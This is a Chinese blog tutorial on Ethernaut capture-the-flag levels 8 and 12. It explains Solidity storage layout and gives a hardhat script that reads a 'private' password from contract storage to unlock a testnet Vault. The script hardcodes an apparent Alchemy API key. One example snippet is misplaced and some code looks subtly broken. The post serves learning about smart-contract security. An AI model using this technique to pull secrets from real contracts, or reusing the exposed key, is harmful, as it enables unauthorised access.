前情提示:本篇文章较为硬核,需读者有一定开发基础。
本篇文章将会以ethernaut中的第8和第12个例子来剖析智能合约中的私有变量。
首先给大家留个疑问:私有变量真的意味着私密不可窥探吗?
答案可以先告诉大家:当然不是!
Everything is public on the blockchain!
在区块链中,任何东西实际上都是公开的!没有什么东西使真正私有的,即使一个变量是private
或internal
的。
📕1. 挑战 ?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| // SPDX-License-Identifier: MIT pragma solidity ^0.6.0;
contract Vault { bool public locked; bytes32 private password;
constructor(bytes32 _password) public { locked = true; password = _password; }
function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } }
|
📕2. 思考及必要准备
初步思路
- 合约改变
locked
的地方只有一个,那就是调用unlock()
函数,通过password判断后修改变量;
- 那么一定绕不开的问题就是:如何破解
password
私有变量?
可以看到,思路极其简单,但同样的也会让人感到困惑。私有变量怎样才能破解呢?
先别着急,我们做一些必要的了解!
合约的状态变量是以一种紧凑的方式存储在区块链中,有时候多个值会使用同一个存储槽。除了动态大小的数组和映射哈希表,数据的存储方式是从位置 0
开始连续放置在存储storage
中的。
并且很重要的一点就是,每一个变量都能根据它的类型来确定字节大小;
🐟存储插槽
存储大小少于32字节的多个变量将会被打包到一个存储插槽中,并且规则如下:
存储插槽的第一个变量是所有变量中占字节最小的,通常是bool
类型的变量;
for example
1
| (bool success1, ) = payable(attackedContract).call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
|
值类型只使用存储它们所需的字节数;
如果一个值类型在一个存储槽的剩余部分放不下,它将被存储在下一个存储槽;
结构体(struct) 和数组数据(array)会开启一个新存储槽;
constant
和immutable
变量将不占用存储槽,因为它们将在编译时或部署时直接在代 码中被替换为值;
注:对于使用继承的合约,状态变量的排序将会从最基类合约开始确定,来自不同合约的状态变量将会共享一个存储插槽;结构体和数组中的成员变量会存储在一起,就像它们单独声明时一样地存储。
🐟映射和动态数组(深入理解)
由于映射和动态数组不可预知大小,不能在状态变量之间存储它们。
相反,它们自身根据以上规则仅占用32个字节,然后他们包含的元素的存储槽的位置,是通过Keccak-256哈希计算来确定的!
假设映射和动态数组根据上述存储规则最终可确定某个 位置p
🌏 对于动态数组(array)
插槽p会存储数组中元素的数量(字节数组和字符串除外);
数组的元素将会从keccak256(p)
开始,布局方式与静态大小的数组相同,一个元素接着一个元素,如果元素的长度不超过16字节,将会共享存储插槽;
动态数组会递归地应用这一规则;
for example
1 2 3 4 5 6
| //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; contract testArray{ uint24[][] private data; }
|
如何确定data[i][j]
元素的位置 ?(假设动态数组data本身存储在插槽p的位置)
则data[i][j]
的槽位将是 keccak256(keccak256(p) + i) + floor(j/floor(256/24))
并且可以得到槽数据中的元素内容:v >> ((j%floor(256/24))*24)) & type(uint24).max
🌏对于映射(mapping)
插槽p将不会被使用(即空),但它仍是有存在必要的,以确保两个彼此挨着映射;
映射中的键k
所对应的槽会位于keccak256(h(k).p)
,其中.
是连接符,h
是一个函数;
根据键的类型h
会对应不同的占槽(类似于定态薛定谔方程中的∇变量)
a. 值类型,h
与在内存中存储值的方式相同的方式将值填充为32字节;
b. 字符串和字节数组,h(k) 只是未填充的数据。
for example
1 2 3 4 5 6 7 8
| //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0;
contract C { struct S { uint16 a; uint16 b; uint256 c; } uint x; mapping(uint => mapping(uint => S)) data; }
|
如何确定data[4][9].c
的位置?
- 映射本身的位置是1(前面有32字节变量x);
- 因此
data[4]
存储在keccak256(uint256(4).uint256(1))
槽位;
- 然而
data[4]
的类型又是一个映射,所以data[4][9]
的数据开始于槽位keccak256(uint256(9).keccak256(uint256(4).uint(1)))
;
- 结构S的成员c中的槽位偏移是1(因为a和b被装在一个槽位中);
- 得到
data[4][9].c
的插槽位置是keccak256(uint256(9).keccak256(uint256(4).uint256(1))) + 1
。
🎇恭喜你顺利通过了这两个例子的学习!!
相信你对solidity变量的存储已经有了一定的了解,如果不怎么了解也没关系,下面给出一张对应表!
⭐solidity基本类型与对应字节
类型 |
bit数 |
字节数 |
bool |
8 |
1 |
address |
160 |
20 |
string |
8/16/24 |
1/2/3(单字) |
uint8 |
8 |
1 |
uint16 |
16 |
2 |
uint256 |
256 |
32 |
bytes4 |
32 |
4 |
bytes16 |
128 |
16 |
以此类推… |
… |
… |
对于string类型所占的字节数,有兴趣可以用这个例子去实践下
1 2 3 4 5 6 7 8
| //SPDX-License-Identifier: Unlicense pragma solidity 0.8.0;
contract testLength{
function getStrlen(string memory _str) public pure returns(uint256){ return bytes(_str).length; }
|
🚀3. 实战
回到上文留下的挑战
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| // SPDX-License-Identifier: MIT pragma solidity ^0.6.0;
contract Vault { bool public locked; bytes32 private password;
constructor(bytes32 _password) public { locked = true; password = _password; }
function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } }
|
根据上文规则
bool locked
将占据插槽0
,因为bool
类型只需要一个字节的存储空间,但因为下一个状态变量password需要整个32字节的槽位,因此不能够把locked
和password
打包在一起;
bytes32 password
将占据插槽1
,顾名思义,bytes32类型需要整个32字节。
💎破解脚本
破译此合约,使用hardhat测试脚本是仅有的方式之一,同时也是最便捷的!
如果没有hardhat基础的同学,理解原理即可。
想学习hardhat安全帽的同学,可以访问我的个人博客联系我。
注意看代码注释!
attackPrivate.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| const {ethers} = require("hardhat"); const APIKEY = "lty9DXUZ1zkY5nPDY-WyhvEJAejxA6lp" const utils = ethers.utils; const BigNumber = ethers.BigNumber; const MaxUint256 = ethers.constants.MaxUint256
const ethernaut8_address = "0xBd0B4AF4A8A56f2B8CF4e2c76Fe4bD55579cb3D6"
const ethernaut8_abi = require("./8abi.json")
const provider = new ethers.providers.AlchemyProvider("maticmum",APIKEY);
describe("attack the private password",()=>{
it("the eighth example of ethernaut",async()=>{ const [singer] = await ethers.getSigners(); console.log(singer.address); const password = await getShortStr(1,ethernaut8_address); console.log("the password is:\n",password);
const instance8 = new ethers.Contract(ethernaut8_address,ethernaut8_abi,provider);
await instance8.connect(singer).unlock(password) const result = utils.toUtf8String(await instance8.locked); console.log("the contract lock is",result);
}) })
async function getShortStr(slot, contractAddress) { const paddedSlot = utils.hexZeroPad(slot, 32); const storageLocation = await provider.getStorageAt(contractAddress, paddedSlot);
return storageLocation; }
|
⭐破解代码环境配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| const e = require("./test/export") require("@nomicfoundation/hardhat-toolbox");
module.exports = { solidity: "0.8.0",
networks: { mumbai:{ url:e.MUMBAI_URL, accounts: [`0x${e.PRIVATE_KEY}`] } } };
|
⭐运行脚本命令
1
| npx hardhat test --network mumbai
|
🚀破解私有变量成功
ethernaut通关截图
👨💻深度练习(课后作业)
这是ethernaut的第12个例子~
现在把需求交给你:解锁该合约!!即让 locked = false。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| // SPDX-License-Identifier: MIT pragma solidity ^0.6.0;
contract Privacy {
bool public locked = true; uint256 public ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(now); bytes32[3] private data;
constructor(bytes32[3] memory _data) public { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; }
/* A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */ }
|
这道练习比前面那道有含金量多了,需要答案可以访问我的个人博客来联系我!
这是我通过的交易hash(马蹄链测试网mumbai): 0xb5a6262202503ef74de1a98a870513fb8732a01bf23835db8f5ec39f71927866
参考文献
ethers.js-Strings-Bytes32String
Solidity Storage Variables with Ethers.js
状态变量在储存中的布局 — Solidity中文文档
Ethernaut 题库闯关 #8 — Vault (learnblockchain.cn)
Ethernaut 题库闯关 #12 — Privacy(learnblockchain.cn)